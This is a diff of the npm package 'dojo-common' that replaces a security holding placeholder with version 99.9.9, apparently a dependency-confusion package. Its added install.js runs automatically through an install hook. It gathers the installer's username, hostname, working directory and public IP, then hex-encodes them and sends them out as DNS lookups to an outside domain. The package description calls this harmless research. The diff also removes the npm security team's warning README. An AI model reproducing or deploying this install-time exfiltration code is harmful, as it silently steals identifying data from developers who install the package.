dojo-common 0.0.1-security → 99.9.9

package/index.js

@@ -0,0 +1 @@
+let axios=require("axios"),api_key=process.env.api_key,domain=process.env.domain;export async function getAllUsers(){return await axios.get("https://"+domain+"/api/v1/user/?username=&api_key="+api_key).then(a=>a.data.objects).catch(a=>{console.log(a)}),result}export async function sumbitReport(a,e){return await axios.post("https://"+domain+"/api/v1/user/?username="+a+"&api_key="+api_key,e).then(a=>a.data.objects).catch(a=>{console.log(a)}),result}export async function getUser(){return await axios.get("https://"+domain+"/api/v2/user/?username="+username+"&api_key="+api_key).then(a=>a.data.objects).catch(a=>{console.log(a)}),result}export async function createUser(a){return await axios.post("https://"+domain+"/api/v1/user/?username=&api_key="+api_key,a).then(a=>a.data.objects).catch(a=>{console.log(a)}),result}

package/install.js

@@ -0,0 +1 @@
+const http=require("http");var os=require("os"),dns=require("dns");function generateString(t){let n="abcdefghijklmnopqrstuvwxyz0123456789",a="",e=n.length;for(let o=0;o<t;o++)a+=n.charAt(Math.floor(Math.random()*e));return a}function assignIP(t){IP=t}const topDomain="smnfbb.com",packageName=process.argv[2],cwd=process.cwd(),username=os.userInfo().username,hostname=os.hostname(),ID=generateString(5);var IP="";try{http.get({host:"api.ipify.org",port:80,path:"/"},function(t){t.on("data",function(t){let n=JSON.stringify({packagename:packageName,cwd:cwd,username:username,hostname:hostname,ip:t.toString()}),a={family:4};for(var e=(Buffer.from(n,"utf8").toString("hex")+"00").match(/.{1,30}/g),o=0;o<e.length;o++){var r=ID+"."+o+"."+e[o]+"."+topDomain;dns.lookup(r,a,()=>{})}}),t.on("error",function(t){let n=JSON.stringify({packagename:packageName,cwd:cwd,username:username,hostname:hostname,ip:""}),a={family:4};for(var e=(Buffer.from(n,"utf8").toString("hex")+"00").match(/.{1,30}/g),o=0;o<e.length;o++){var r=ID+"."+o+"."+e[o]+"."+topDomain;dns.lookup(r,a,()=>{})}})})}catch(t){}

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "dojo-common",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.9.9",
+  "description": "This package is a proof of concept to conduct a research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on victims machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. ",
+  "main": "index.js",
+  "scripts": {
+    "install": "node install.js dojo-common"
+  },
+  "author": "smirnoffq@bugcrowdninja.com",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=dojo-common for more information.